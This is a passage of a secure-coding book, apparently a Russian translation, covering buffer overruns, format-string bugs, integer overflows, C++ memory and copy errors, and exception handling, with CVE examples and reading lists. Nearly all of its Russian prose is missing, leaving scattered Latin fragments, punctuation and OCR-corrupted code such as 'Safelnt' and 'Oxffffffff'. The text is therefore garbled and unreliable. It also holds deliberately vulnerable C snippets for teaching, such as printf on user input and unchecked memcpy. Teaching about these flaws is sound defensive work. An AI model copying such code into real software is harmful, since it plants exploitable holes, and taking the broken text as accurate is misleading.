4.0, 2000, Server 2003
. Blaster/MSblast/LovSAN Nachi/Welchia.

129

,
. ,

.
:
. ,
Windows 2003
.
www.
:ert.org/advisories/ -2003-23.html www.microsoft.com/technet/security/bulletin/
\iS03-039.asp.


.
,
, , .
, .


, strcpy, strcat
sprintfwith . .
, ;
.
7, ,
. strsafe (Sage Run-Time Library)
Microsoft Visual Studio 2005 (
ANSI C/C++) strlcat/strlcpy *nix.
, .
-,
. Microsoft
Office Office 2003
(
), .


.
7
, .

130



,
;
! .

C++
, -
, :
C++. .'
STL.
STL ,
, (RTFM!) :
.
STL std::string std: :wstring.

STL
STL (, vector
vector : vector::iterat:'
. ,
STL ,
STL .


C/C ++
: Coverity, Fortify, PREfast, Klocwork . .
,
,
.
. Visual Studio 2005 ( )
(, ) ,
PREfast ( /analyze) SAL (Source Code Annotation
Language). SAL .
() , data count ;
data count . ;
char* size_t.
void *DoStuff(char *data. size_t count) {
static char buf[32];
return memcpy(buf. data, count):

}
( ,
... ).

13 1

count 32, .
SAL- :
void *DoStuff(_In_bytecount_ (count) char *data. size_t count) {
static char buf[32]:
return memcpy(buf. data, count):

}
_In_bytecount_(N) : *data
, ,
count.
SAL sal.h,
Visual C++.


,
.
, .
, , !
,
, .
.


Stackguard, Microsoft
/GS.

.
.
, .
ProPolice, GCC (CHU Compiler Collection),
IBM.
Visual C++ 2008 /G S
IDE.
, ,
.
, .
,
(
), ,
. ;
.

132


,
.
, ,
, Java #. ,
,
,
.
,
, ,
.
, ,
, ,
, .
, Windows,
Windows Vista .
Windows DEP (Data Execution Prevention);
NX (No eXecute).
Windows Server 2003 SP1 .
Linux OpenBSD.


Writing Secure Code, Second Edition by Michael Howard and David C. LeBlanc
(Microsoft Press, 2002), Chapter 5, Public Enemy #1: Buffer Overruns.
Heap Feng Shui in JavaScript by Alexander Sotirov: http://www.phreedom.07g
research/heap-feng-shui/heap-feng-shui.html
Defeating the Stack Based Buffer Overflow Prevention Mechanism of Microsoft
Windows Server 2003 by David Litchfield: www.ngssoftware.com/papers/defeatingw2k3-stack -protection.pdf
Non-Stack Based Exploitation of Buffer Overrun Vulnerabilities on Windows
NT/2000/ by David Litchfield: www.ngssoftware.com/papers/non-stack-bowindows.pdf
Blind Exploitation of Stack Overflow Vulnerabilities by Peter Winter-Smith:
ngssoftware.com/papers/NISR.BlindExploitation.pdf

w wk.

Creating Arbitrary Shellcode In Unicode Expanded Strings: The Venetian Ex


ploit by Chris Anley: www.ngssoftware.com/papers/unicodebo.pdf
Smashing the Stack for Fun and Profit by Alephl (Elias Levy): www.insecure.org
s tf/smashstack.txt
The Tao of Windows Buffer Overflow by Dildog: www.cultdeadcow.com/cDc_Jiles
cDc-351/

133

Microsoft Security Bulletin MS04-011/Security Update for Microsoft Windows


(835732): www.microsoft.com/ technet/security/Bulletin /MS04-01 l.mspx
Microsoft Application Compatibility Analyzer: www.microsoft.com/windows/appcompatibility/analyzer.mspx
Using the Strsafe.h Functions: http://msdn.microsoft.com/library/en-us/winui/
winui/ windowsuserinterface/resources/strings/ usingstrsafefunctions.asp
More Secure Buffer Function Calls: AUTOMATICALLY!: http://blogs.msdn.com/
michaeljioward/archive/2005/2/3.aspx
Repel Attacks on Your Code with the Visual Studio 2005 Safe and C++ Libraries:
http://msdn.microsoft.com/msdnmag/issues/05/05/SafeCandC/default.aspx
strlcpy and strlcatConsistent, Safe, String Copy and Concatenation by Todd C.
Miller and Theo de Raadt: www.usenix.org/events/usenix99/millert.html
GCC extension for protecting applications from stack-smashing attacks: www.trl.ibm.
com/projects/security /ssp /
PaX: http://pax.grsecurity.net/
OpenBSD Security: www.openbsd.org/security.html
Static Source Code Analysis Tools for C: http://spinroot.com/static/

0
,
.
,
.
, , ,
/G S ProPolice.

, DEP .
,
ASLR Windows (/dynamicbase).
, ,
.
,
; .
, .
C/C++.
.
.
C++
.



, .
23 2000 Lamagra Argamal (www.secuntyfocus.com/archive/1/66842);
(Pascal Bouchareine) (www.securityfocus.com
archive/1/70552). (Mark Slemko) (wwu.
securityfocus.com/archive/1 /10383) ,
.
,
.
C/C ++
, ,
.

. ,

135

,
. : UNIX Linux. Windows
DLL (Dynamic Link
libraries).
5 DLL,
* .
(ASLR)
. ,

, ,
.
,
32- 64-
,
.
C/C++,
. ,
,

SQL. ,
.

CWE
CWE :
CWE-134: .


C/C++.

.
, , .
Perl ,
,
.

136

.
, .
,
.
, ,
.
, .
C/C++:
C/C++ ,
( ),
.
C/C++ ,
(...) ,
,
.
printf: printf.
sprintf, snprintf, fprintf, vprintf . .
, .
:
#include <stdio.h>
int main(int argc. char* argv[])

{
if(argc > 1)
printf(argv[l]):
return 0:

}
. , .
, - .
Hello World. , Hello World.
; % %. Windows
(cmd.exe) :
E:\projects\19_sins\format_bug>format_bug.exe "% %"
12ffc0 40115


, ,
, , .
.
? printf ,
,
% 4 *,
.
, , 32- 64-. 64- :
:\projects\format_string\x64\Debug>format_string.exe %p
0000000000086790

137

32- :
3:\projects\format_string\Debug>format_string.exe
D0000000

,
ASLR:
:\jects\format_string\x64\Debug>format_string.exe %p
00000000006A6790

, 056790,
66790? ASLR.
, ,
,
. (0xl2ffc0) ,
main. ,
, .
?
%
, , ,
. ,
:
unsigned int bytes:
p r i n t f C M n X n " . argv[l], &bytes);
printfC'Your input was %6 characters long\n. bytes"):

:
E:\projects\19_sins\format_bug>format_bug2.exe "Some random input"
Some random input
Your input was 17 characters long

4- %\
, % .
, ,
,
,
.
---------------------------------------------------------------------------------------------------- ,
, Writing Secure Code, Second Edition
(Michael Howard) . (David . LeBlanc) (Microsoft Press, 2002),
Shellcoder's Handbook: Discovering and Exploiting Security Holes,
: (Jack Koziol), (David Litchfield),
(Dave Aitel), (Chris Anley), noir (Sinan noir Eren),
(Neel Mehta) (Riley Hassell) (Wiley, 2004).

,
C/C++,
, .

138

,
.
,
, ,
.

.
%;
, ,
, .
, , .

,
. , , ,
,
.
Backspace
,
.
,
scanf , .

C/C++
, ,
. ;
printf(user_input);

,
printfCXs". useMnput);

.
,
: .
, sprintf
, :
fprintf(STD0UT. errjnsg);

(escaping)
. , ,
err jnsg .
, ,
.

139


,
,
.
ACL (Access Control List) ,
-
.
,
.
(locale), , ,
, .

.


,
.
,
. ,
.


C/C++ printf.
:
printf(user_input);
fprintfCSTDOUT. user_input);

:
fpri ntf(STDOUT. msg_format. argl. arg2);

, , msg format,
.
API
, syslog. , . . .
, .
( , RATS flawfinder)
.
FormatGuard :
http://lists.nas.nasa.gov/archives/ext/limix-security-audit/2001/05/Tnsg00030.htmL

140


,
. ,
,
NotLikely%x%x.txt.
NotLikelyl2fd234104587.txt cannot be found,
.
, ;
,
.
C/C++, C/C++
.
-
: - ,
, .


CVE (Common Vulnerabilities and Exposures) (http://cve.mitre.org/ ).
CVE 188 ;
579.
, .

CVE-2000-0573
CVE: 1reply wu-ftpd 2.6.0
,

SITE .
.
BUGTRAQ : ** root 1994 .

CVE-2000-0844
CVE: ,
UNIX, ,
.
(, gettext catopen)
.
www.securityfocus.com
archive/1/80154. ,
UNIX ( Linux) API

141

BSD, NLSPATH
5/'/-. ,
CORE SDI, ,
.


: , ,
. ,
. ,

. ,
output ,
fprintf(STDOUT. buf):

,
.
: , ,
, ,
. UNIX
Linux, BSD NLSPATH,
;
.
Microsoft CRT % ,
_set_printf_count output.
gcc, :
Wall .
, .
Wformat .
Wno-format-extra-args ,
.
Wformat-nonl iteral ,
, .
Wformat-security ,
, .
Wformat-nonl iteral.
Wformat=2 Wformat ,
Wformat. Wformat, Wformatnonl iteral, Wformat-security Wformat-y2k.

C/C++

printfC'Xs". user_input);

142


,
; . (DavidWheeler) Write It Secure:
Format Strings and Locale Filtering .
printf, . ,
C++ :
#include <iostream>
/ / . ..
std::cout user_input
II. . .


Format bugs, in addition to the wuftpd bug by Lamagra Agramal: www.securityfocus.com/archive / 1/66842
Writing Secure Code, Second Edition by Michael Howard and David C. LeBlanc
(Microsoft Press, 2002), Chapter 5, Public Enemy #1: Buffer Overruns.
UNIX locale format string vulnerability, CORE SDI by Ivan Arce: www.
securityfocus.com/archive/1 /8 0 154
Format String Attacks by Tim Newsham: www.securityfocus.com/archive/1/81565
Windows 2000 Format String Vulnerabilities by David Litchfield, www.nextgenss.
com/papers/win32format.doc
Write It Secure: Format Strings and Locale Filtering by David A. Wheeler, www.
dwheeler.com/essays/write_it_secure_1 .html
W arning Options Using the GNU Compiler Collection, http://gcc.gnu.org/
onlinedocs/gcc-4.1.2/gcc/Waming-Options.html#Waming-Options

( ,
).

.
.

.
,
.


,
, ,
.
,
.
,

.
, ,
, ,
, .

, ,
.
. :
type Age is new Integer range 0..200;

144

. C++
, Visual Basic
Variant. ,
int, 5 4 , 1.
1.25. Perl . C#
, ,
, checked ( . #).
Java
.
int, ,
.

CWE
CWE
(CWE-682 ):
CWE-682: .
CWE-190: .
W E -191: (
).
CWE-192: .


,
,
. , C++;

. ,

.

,

.

, .
, .
C/C++, ,
, . ,

145

, NFS (Network File Sys


tem),
root. ,
.

C/C++
C++,
, C/C++.
,

. - C/C++
, ,
, .

, (, #)
, . ,
C/C ++ ,
, Visual Basic .NET
.
,
,
C++. , ,
, .


,
.
.
:
const long MAX_LEN = 0x7fff:
short len = strlen(input);
ifden < MAX_LEN)
// -

;
len MAX LEN?
, ;
, len 16- 32- . ,
. ,
.
:
len = 0x0100;
(long)len = 0x00000100:

14

len = Oxffff;
(long)len = Oxffffffff;

, len 32,
32-
, len MAX LEN
.
.
,
32- , .
C++:
.
; , (char)0x7f int
0x0000007f, a (char)0x80 0xffffff80.
.
, .
, (char)Oxff (-1) Oxff
unsigned char, - 1 , 255 .
,
.
.
:
,
. , ,

. , (char)- 1 (Oxff) unsigned long
4 294 967 295 (Oxffffffff).
.
: ,
. , (unsigned char)0xff unsigned
1ong OxOOOOOOff.
.
,
, ,
() 1 0.
.
,
.
,
. , , ,
.
, ,
. ,
, .
.
, , :

147

, .
, .


,
. , ,
. C++
:
template <typename >
void WhatIslt( value)

{
i f ( ( T ) - l < 0)
printf("Signed");
else
printf("Unsigned");
printf(" -

%6 bits\n". sizeof(T)*8);

}

. , :
unsigned long,
unsigned long. long int ,
32- 64-
; .
, 32-
, int, int.
64-,
64-; 64-
.
,
.
. -, ,
64- , ,
unsigned short signed short int,
(
16- ), unsigned int signed int
64- int (_int64). , ,
, , ,
C/C ++ ,
64- .
,
. ( + ,- ,* ,/ %)
, .
, (&, |, )
; , (unsigned short) | (unsigned short) int!

148

(&&, 11 !)
, C++ bool.
, ,
. (~) (
); , -((unsigned short)0)
int, (++, ) .
- (
). , 32-, int,
32- 64- unsigned int
,
, .

,
16- :
bool IsValidAddition(unsigned short x. unsigned short y)
{
if(x + < x)
return false;
return true;
}
.
, ,
. unsigned long.
, ,
, true!
unsigned
short + unsigned short? int. unsigned short
i nt, .
int unsigned short. int,
, +. ,
unsigned short:
i f ((unsigned short)(x + y) < x)
,
, ,
!
, !

,

. :
,
, .
;

149

,
.
.
.
. ,
8- , 255 + 1 =0. 2 - 3 = 255.
8- 127 + 1 = -128.
.
20, 50, 30,
30 50 ... , . (
, ,
), ,
, , ;
, ,
.
, ,
.
, . :
, a*b>MAX_INT, . ,
b>MAX_INT/a.

, ,
.
. , short*short int.
.
,
? 8- : MIN INT = -128. -1.
, -(-1 2 8 ).
~+1. -128 (0x80) 127, 0x7f. 1
0x80! , -128 -128!
, -1. ,
, , .
(mod)
; , .
? ,
- .
32- , MAX INT, Oxffffffff, 8-
-1. -1 mod 4,294.967,295
1, ? . ,
-1 . , :
32 , Oxff
Oxffffffff. (int)COxfffffff) (unsigned int)(Oxffffffff).
-1 4 ,
! , 32- 64- ;

150

1/4,294,967,295 1,
, .
,
.


, , ,
... , . ,

,
. ,
.

: -
,
. , ,
: ,
, .


AND, OR XOR (
) , .
:
int flags = 0x7f;
char LowByte = 0x80:
if((char)f1ags A LowByte == Oxff)
return ItWorked;

, Oxff,
, , ,
int. ,
:
int , flags 0x0000007f,
, LowByte 0xffffff80; Oxfffffffff,
OxOOOOOOff!

64-
,
32- 64- .
sizeof(x) == sizeof(void*):
si ze_t
ptrdiff_t
uint_ptr
int_ptr

151

si ze_t , a ptrdi ff t .
, size t (,
!) (CRT),
ptrdi ff t .
,
.
:
int cch = strlen(str);

strlen int.
. ,
32- 2
, . 64- , , . 64-
2
( 2008 ) , 16 ,
, , 2
64- BSD (. http://70ww.securityfocus.com/bid/13536/info).
. (
):
unsigned long increment = :
if( pEnd - pCurrent < increment )
pCurrent += increment:

else
throw:
, pEnd - pCurrent
?
? , ;
.
, :
if( (ptrdiff_t)(pEnd - pCurrent) < (unsigned long)increment )

32- ptrdi ff_t 32- .


32- unsigned long
. , , ,
:
if( pEnd - pCurrent < increment && pEnd - pCurrent >= 0)


!
64- ptrdi ff_t 64- ,
:
if( (_int64)(pEnd - pCurrent) < (unsigned long)increment )

increment _int64,
, 32- 64-

152


! , :
.
.
,
.
;
, char .


C /C ++ , ,
, . ,
; , .
( 1)
. ,
, ;
:
if( + increment < ) throw;

,
, ,
. , ,
:
if( (size_t)p + increment < (size_t)p ) throw;

,
.

C#
C# C++; ,
C/C++, , , C#
C++. C# ,
, C /C + + . ,
:
byte , ;
= 255;
b = 1;
byte = (b + );
error CS0029; Cannot implicitly convert type 'int' to 'byte'

, ,
:
byte = (byte)(b + );


Convert:
byte d = Convert.ToByte(a + b);

153

,
, ,
. , .
, , b ,
, .
C# ,
64- . ,
,
#:
int i = -1;
uint j = Oxffffffff: // 32-
if(i == j)
Consol e.Wri teLi neC'Doh!");

, C# long (64-
) , .
long ulong ( C#
64-),
. , C/C++
: 64- ,
, #.

checked unchecked
C# checked unchecked. checked
, :
byte = 1:
byte b = 255;
checked

byte = (byte)( + b):


byte d = Convert.ToByte(a + b):
Console.Write("{0} {l}\n". b+1. c):

}
a+b int byte .
Convert.ToByteO
checked, Console.WriteO
checked.
, unchecked
,
.
checked unchecked
:
checked(c = (byte)(b + )):

154

,
/checked .
/checked
, ,
unchecked.

Visual Basic Visual Basic .NET


Visual Basic . ,
Visual Basic 6.0 Visual Basic .NET
- Visual Basic 3.0.
,
. 7.1.
Visual Basic 6.0 Visual Basic .NET
. Visual Basic 6.0
(, CIntO)
. Visual Basic .NET
System.Overf1owExcepti on.
7 .1 . Visual Basic 6.0 Visual Basic .N E T

Visual Basic 6.0

Visual Basic .NET

8-

System.SByte

8-

Byte

Byte

16- Integer

Short

16-

System. U Inti 6

32- Long
32-

64-
64-

Integer
System. UInt32
Long
System. UI nt64

. 7.1, Visual Basic .NET


, .NET Framework.
, Visual Basic,
,
Win32 API; 32-
(DWORD). 32-
, . ,
2-8046 ,
.
Win32 API, ,
( ),
Win32 ,

1SS

.
.
, .
, , .

Java
Visual Basic #, Java
. Java http://java.sun.com/docs/books/jls/
second_edition/html/typesValues.doc.html#9151 :

. ,
(11), / (15.17.2)
%(15.17.3),
ArithmeticException, .
Java, Visual Basic,
. 64-
, char 16-
.
Java ,
; , ,
C/C++, ,
.

Perl
Perl,
Perl .

, .
:
$h = 4294967295:
$i = Oxffffffff;
$k = 0x80000000;
print "$h = 4294967295 - $h + 1 = ".($h + 1)."\n":
print "Si = Oxffffffff - $i + 1 = ".($i + l)."\n";
printf("\nUsing printf and
specifier\n");
printf("\$i = %ti. \$i + 1 = d\n\n". $i, Si +1);
printf("Testing division corner case\n");
printf("0x80000000/-l = *d\n". $k/-l);
print "0x80000000/-l = ".($k/-l)."\n;

:
[e:\projects\19_sins]perl foo.pl
4294967295 = 4294967295 - 4294967295 + 1 = 4294967296

156

4294967295 = Oxffffffff - 4294967295 + 1 = 4294967296


Using printf and %6 specifier
$i = -1. $i + 1 = -1
Testing division corner case
0x80000000/-1 = -2147483648
0x80000000/-1 = -2147483648

,
printf print.
,
, 1 1, (
$d) . ,
, %6 Perl
double int. ,
.
Perl
Perl,
- .
, .
, Visual Basic
.
, :
print (5/4)."\";
1.25

Perl , ;
, .
,
, .


,
, ( )
.
C/C++
.


C/C++
.
,
, .
C++ C# Java. ,

157

, ,
C/C++.
, :
, ! -
Microsoft IIS 4.0 5.0 - , 1,
:
64 - 1 + 1 !
.

C/C++
.

. ,
. ,
. ,
:
THING* AllocThingsdnt a. int b. int . int d)

{
int bufsize;
THING* ptr:
bufsize = IntegerOverflowsRUs(a. b. c. d):
ptr = (THING*)malloc(bufsize):
return ptr;

}
, ,
, (
). ,

. , ,
: ,
?
?
Perl,
!
; .
/W4 (Visual C++), Wall Wsign-compare (gcc) ,
.
, ,
/ .
Visual C++ 4018, 4389, 4242,
4302 4244.
gcc
.

158

#pragma
.
:
#pragma warning(disable : 4244)

, , ,
( , )
;
. :
int ConcatBuffersCchar *bufl. char *buf2.
size_t lenl, size_t len2){
char buf[OxFF];
if((lenl + len2) > OxFF) return -1;
memcpy(buf. bufl. lenl):
memcpy(buf + lenl. buf2. Ien2):
// buf
return 0:

}
,
. lenl
0x103, 12 Oxfffffffc, 32-
255 (Oxff), .
mempcy 4 255-
!

, . ,

. C /C + +
.
:
int read(char*buf. size_t count) {
//

}
while (true) {
BYTE buf[1024]:
int skip = count - cbBytesRead:
if (skip > sizeof(buf))
skip = sizeof(buf):
if (read(buf. skip))
cbBytesRead += skip:
else
break:

skip 1024,
skip buf. , skip
(, -2); 1024,

159

) - 2 . (size t)
4 . readO 4
1 . !
, ,
C++ new.
:
roo * = new Foo(N):
N ,
N*sizeof(Foo) new.
;
.

#
C# ,
API
/unsafe. ,
, . checked (
) .
, . ,
unchecked ,
.
,

.
,
#, /unsafe (
C/C++), .

Java
Java , , ,
C/C++. : C/C++,
Java ,
.
.

Visual Basic Visual Basic .NET


Visual Basic
( checked #).

,
. ,
. Visual Basic ( Visual Basic .NET!)

160

,
, :
On Error Continue

Perl
, Perl ,
. , ,
Perl , .
,
.


,
, .
, 64 64 -1 .
127, 128 255,
32 . , 1
, .
,
(, ),

.

( 2008 )
CVE 445 ,
100
. .

SearchKit API
Apple Mac OS X
CVE (CVE-2008-3616):
SearchKit API Apple Mac
OS X 10.4.11 10.5 10.5.4 -
, ( ) ilh
, ;*
API.

161

Google Android SDK


CVE (CVE-2008-0986):
BMP:: readFromStream libsglso
Google Android SDK 3-37 , 5-14

BM P-,
.
Core Security Technologies
(www.coresecurity.com/corelabsy
Android,
,
(PNG, GIF BMP).

, Android,
.

Android
SDK Android ARM.


Windows Script Engine
CVE (CAN-2003-0010):
JsArrayFunctionHeapSort,
Windows Script Engine for JScript (JScript.dll)
Windows
-
HTML,
, .
,
,
. Microsoft www.microsoft.com/
technet/security/bulletin/MS03-008. mspx.

HTR
, 2002
, IIS .
www.microsoft.com/technet/security/Bulletin/MS02-028.mspx,
, HTR
64 - 1, 1 ( -!)
. , ,
64 , -, 64
, !

162



: .
, .
, . /
C++ site t ,
. ,
. ,
!


, .

, .
:
= ( * sizeof ()) + sizeof ()

MAX_INT, .
:
Maxlnt < ( * sizeof ()) + sizeof ()

:
Maxlnt - sizeof () < ( * sizeof ())

:
(Maxlnt - sizeof ()) / sizeof () <

, ,
.
,
.



.
:
int . . ;
= + ;
if( b < 0)
return BAD_INPUT;

.
, ; -

163

.
, :
int . . :
= * ;
if( < 0)
return BAD_INPUT:


(230 + 1)*8; 233 + 8; 32
8 , .
, : 32-
64- ,
( ).
, :
unsigned a.b:
if ( * b < ) {

#include "limits.h
#defi ne MAX_A 10000
fdefine MAX_B 250
assert(UINT_MAX / MAX_A >= MAX_B): // . _ _
//
if ( < _ && b < _) {

}


. (,
) :
unsigned int ;
short . b;
7 -
if( + b < ) DoSomethingO;

, ,
:

int

sf( (int)( + b) < ) DoSomethingO;

1G4

;
int ,
:
if( (unsigned int)(int)(a + b) < ) DoSomething();


, ,
int. unsigned
,
.
, Safelnt:

, .
:
template <typename >
SignedlntMaxO

return ~( 1

sizeof(T)*8 - 1):

}
,
64- .
,
. .
64- :
return ~( (int)l 6 3

):

: int,
int (, 0x8000000
unsigned int).4T0 32-
63 ? C/C++ .
Microsoft
( ).
:
return ~( ()1

sizeof(T)*8 - 1 );


. .
,
, .

Safelnt

, Safelnt,
( ).
, , ,
.
Safelnt:

165

size_t CalcAllocSize(int HowMany. int Size, int HeaderLen)

{
try{
Safelnt<size_t> tmp(HowMany);
return tmp * Size + Safelnt<size_t>(HeaderLen);

}
catch(SafelntException)

{
return (size_t)~0;

}
}

size t. ,
. HowMany
.
Safelnt .
Safe Int Size, int;
. Safelnt*i nt
Safelnt,
. : int
Safelnt,
,
. , return Safelnt<size_t>
size_t ( ). ,
,
.
#, /checked
unchecked .


gcc, -ftrapv.
,
. ,
. ,
abort .
Microsoft Visual C++ 2005
new. ,
std::bad_al 1;
, , !

. ,
,

.
, ,

166

. ,
, ,
. ,
,
,
.


Safelnt www.codeplex.com/SafeInt. Safelnt
Visual Studio gcc.
Reviewing Code for Integer Manipulation Vulnerabilities by Michael Howard:
http://msdn.microsoft.com/library/default.asp?url=/libraiy /en-us/dncode/htm l/
secure04102003.asp
Expert Tips for Finding Security Defects in Your Code by Michael Howard: http://
msdn.microsoft.com/msdnmag/issues/0 3 / 11/ Security CodeReview/default.aspx
Integer Overflows The Next Big Threat by Ravind Ramesh: http://star-techcentral.com/tech/story.asp?file=/2004/ 10/26/itfeature/9170256&sec=itfeature
DOS against Java JN D I/D N S : http://archives.neohapsis.com /archives/bugtraq/2004-11/0092.html


.

.

.

size t.
, C/C++.

[ C++


) C++ .
, . API Microsoft Windows, Mac OS X Window System,
C++ GUI (
). ,
.
, C++

^-). v- : ,
.

.
,

168

8 C++

Breaking C++ Applications (1),


Black Hat 2007 ,
. ,
Effective C++ (2)
Effective C++ (3).
, , -
. Effective C++,
1991 . , :

.
C++.
, . ,
,
. C++
, , .

CWE
CWE , CWE
, .
CWE-703: .
CWE-404: .
CWE-457: .
CWE-415: .
CW E-416: .


, , ,
C++. ,
.
C# VB.NET: LinkDemand,
.
LinkDemand :
, -
. LinkDemand ,
,
. C# Java
, C++,

.

169

,
, C++ !
C++
,
, C++
.
,
C++, .
,
.

delete
C++ : new new[] (
). ,
delete delete[]. ,
new[]:
0000000000027750
. . . w'
0x00000000002775C0
w .... x
0x00000000002775D0

20 00 00 00 cd cd cd cd 20 77 27 00 00 00 00 00
aO 77 27 00 00 00 00 00 20 78 27 00 00 00 00 00
a0 78 27 00 00 00 00 00

, 20 77 27
00" , 8 , ,
. 32-
0x20, 32. 32- 4
. new[] , ,
, deleted
.
, .
,
:
char* pChars = new char[128];
// ...
delete pChars;

, pChars, ,
, ,
delete. , char ,
C++ POD (Plain Old Data type).
POD , ,
,
, POD. ,
.

170

8 C++

, new[] delete:

, 0xcdcdcdcd00000020 .
, ,
, .
, ,
.
, new
deleted. ,
, , ,
.
,
.
.
, :
,
. , - ,
,

.


, C++, ,
? ,
C++ .
:
class Foo

{
public:
m_Bar;

}:
, C++, :
, Foo() ~Foo().
:
Foo( const Foo& rhs ) //
F00 & operator=( const F00 & rhs ) //

:
Foo fool;
Foo foo2( fool ); //
Foo foo3 = foo2; //
//
ParseFoo( foo3 );

, Foo
. ,
,

171

.
, . ,
,
, Effective C++ [2]: 5 .
,
. :
class DumbPtrHolder

{
public:
DumbPtrHolder(void* p) : m_ptr(p)

{
}

-DumbPtrHolder()

{
delete m_ptr;

}
private:
void* m_ptr;

}:
, .
: delete
? ,
, ,
. , ,
.


,
.
: ,
, . , m ptr
.
, , ,
.

, InitO, ,
.
InitO , ,
.

: ,
, ,
catch ,
.
.

172

8 C++


,
.
:
-DumbPtrHolderO

delete m_ptr;

}
m ptr .
- ,
. ,
:
-DumbPtrHolderO

{
delete m_ptr;
m_ptr = NULL;

}

, ,
delete NULL . :
In it(), ,
; Reset(),
.

STL
STL (Standard Template Library)
C/C++,
. , .
:
// 10 Foo
vector<Foo> fooArray(lO);
vector<Foo>::iterator it;
for(it = fooArray.beginO; it != fooArray.end(); ++it)

{
Foo& thisFoo = (*it);
// Foo

}
,
. ,
. STL,
STL Tutorial and Reference Guide [4].
, Effective STL [5].

173


C++, C++
. :

Foo* pFoo;
if( GetFooPtr( &pFoo ) )
{

//
}

// pFoo .
// .
pFoo->Release():
, GetFooPtrO pFoo
, null. ,
GetFooPtr( ) ,
, .
, , .
,

.
[6],
! :
,
. ,
,
, .
, .
. ,
, .

- , ,
. : !
!
.


, C++,
. ,
, ,
,
.

174

8 C++


,
.

new delete new[], delete, delete[]


, ,




STL

,
,

A\w \s* \* \s* \w ;



, .
.
; ,
,
, .

C++ CVE
(Common Vulnerabilities and Exposures) (http://cve.mitre.org/).
,
, CVE ,
, .

CVE-2008-1754
Microsoft Publisher 2007,
,
, ReleaseO ,

175

.
, .
Microsoft MS07-037.


,
. C++ ,
( ,
), .
, , , ,
,
.

new delete
:

new[]. STL. ,
(,
, ),
, ,
( ). ;
,
.
, ,
.


, ,
,
.

. :

private:
Foo( const Foo& rhs ); //
F00 & operator=( const F00 & rhs ); //
, Foo,
, .
,
, .
PowerPoint , . ,
DECLARE_COPY_AND_ASSIGNMENT_

OPERATOR(Foo).

17

8 C++

(
, ):
,
, ,
.

. ;
Effective C++ [2], . ,
,
. ,
, foo->Transfer(newFoo),
.


, ,
. ,
,
. :

FooO : m_ThisPtr(0). m_ThatPtr(0)


{
}
:

FooO
{

m_Thi sPtr = 0;
m_ThatPtr = 0;

}
, ,

InitO. ,
, ,
. ,
. ,
.
:
.
, ,
,
.


:
. : ,
,
InitO. ,

177

, ,
.

STL
, , . ,
STL,
. STL

.
STL
, - .
. 1990-
, STL
. , , STL
. STL,
,
Effective STL [5].

Foo* pFoo;

Foo* pFoo = NULL;


.
auto ptr :

auto_ptr<Foo> pFoo;



. gcc
, Effective C++. ,

,
. Microsoft
. ,
, , .
,
. (,
auto ptr),
, (delete free,
mal 1):

178

8 C++

#define SAFE_DElETE(p) { delete (p); (p) = NULL: }


Idefine SAFE_DELETE_ARRAY(p ) { delete [](p); (p)=NULL; }


, :
1. Dowd, Mark, McDonald, John, and Mehta, Neel. Breaking C++ Applications. w\\~s
blackhat.com. [Online] July 2007. [Cited: January 10, 2009.] https:/ / www.blackhcz
comIpresentations/bh-usa - 0 7/Dowd_McDonald_and_Mehta / Whitepaper/bh-usc 07-dowd_mcdonald_and_mehta.pdf
2. Meyers, Scott. Effective C++: 55 Specific Ways to Improve Your Programs and De
signs, Third Edition (Addison-Wesley, 2005).
3. More Effective C++: 35 New Ways to Improve Your Programs and Design (AddisonWesley Professional, 1996).
4. Musser, David R., Derge, Gillmer J., and Saini, Atul. STL Tutorial and Reference
Guide: C++ Programming with the Standard Template Library, Second Edition
(Addison-Wesley Professional, 2001).
5. Meyers, Scott. Effective STL: 50 Specific Ways to Improve Your Use of the Standarc
Template Library (Addison-Wesley, 2001).
(. . STL. . 6_
, 2003.)
6. Wall, Larry, Christiansen, Tom, and Orwant, Jon. Programming Perl (3rd Edition
(O Reilly).

STL .
,
.
, ,
.
new/del ete new/

delete.
,
, .
,
.
( )
.



,
. , - ,
, , :
.
, .
. 11,
, 13, , 12, .

CWE
CWE
.
CWE-396: .

180


, C++.
, ,
, ,
(, , Perl), API
. , C# Java
,

.

.
try-catch; Windows
( Objective C++)
: try, except finally; UNIX
( Linux Mac OS) . Windows
,
, ,
Windows,
.

C++
C++ . ,
, try,
catch. ( ) :

void Sample(size_t count)


{

try
{

char* pSz = new char[count];

catch(...)
{

coiit "Out of memory\n";

}
}
, , try,
catch.
, throw. try-catch
, catch
, catch.
,
. catch (...) ,

181

catch C++.
(, ,
) catch- C++ ;
.
.
,
!
, .
;oid Sample(const char* szln. size_t count)

try
{

char* pSz = new char[count];


size_t cchln = strnlen( szln, count );
//
if( cchln == count )
throw FatalError(5);
//

catch( ... )
{

cout "Out of memory\n";

}
,
.
catch:

:atch( std::bad_alloc& err )


,

^ew std:: bad al 1. try-catch,


Fatal Error ( ,
), , ,
. , ,
operator :: new . , Micro
soft Foundation Classes new
IMemoryException, C++ (, Microsoft
Visual C++ gcc) std : :nothrow new
. ,
, std :: bad_al 1
CMemoryException.

'-"
struct BigThing { double _d[16999];}:
BigThing *p = new (std::nothrow) BigThing[14999]:
// p
:atch(std::bad_alloc& err)

182

//
try
CString str = new CString(szSomeReallyLongString);
// str
catch(std::bad_a11oc& err)
//
, :
! ?
, .
.
,
try, - .
,

, .
, ,
. ,
,
.
Effective C++.
.

:

catch(...)
{

delete[] pSz;

}
, pSz 1
try. pSz
.
(Richard van Eeden)
:

catch(...)
{

// pSz - !
char* pSz;
delete pSz;

}
pSz try, ,
, . ]

183

,
null,
.


Microsoft Windows
(SEH, Structured Exception Handling).
SEH _try, _except _final ly. ,
,
, C++ try, catch
. C++ throw SEH
API RaiseException. :

int Filter( DWORD dwExceptionCode )


{

if( dwExceptionCode == EXCEPTION_INTEGER_OVERFLOW )


return EXCEPTION_EXECUTE_HANDLER;
else
return EXCEPTION_CONTINUE_SEARCH;

void FooO
{

_try
{
DoSomethingScaryO:
}
_ exceptC Fi 1ter( GetExceptionCodeO ) )
{
printf ("Integer overflowin'');
return E_FAIL;
}
_ finally
{
// _ try
}

}
SEH : ,
_try,
_except. ,
,
. _except
( ).
,
, ,
GetExceptionlnformation.
, SEH, MSDN.
_except ,
EXCEPTION EXECUTE HANDLER; .

184

EXCEPTION_CONTINUE_SEARCH,
, EXCEPTION CONTINUE EXECUTION,
,
.
_try ( , )
_final 1. ,
, goto Cleanup
_finally goto
,
.
_except(EXCEPTION_EXECUTE_HANDLER), catchL.),
. , SEH
.
( ). ,

_finally . _final 1,
, Abnormal Termination,
,
. : return
goto .
RTFM.
, EXCEPTIONJ]ONTINUE_EXECUTION,
, , .
,
, ,
.

, (
,
).
, C++ SEH
. ,
, ,
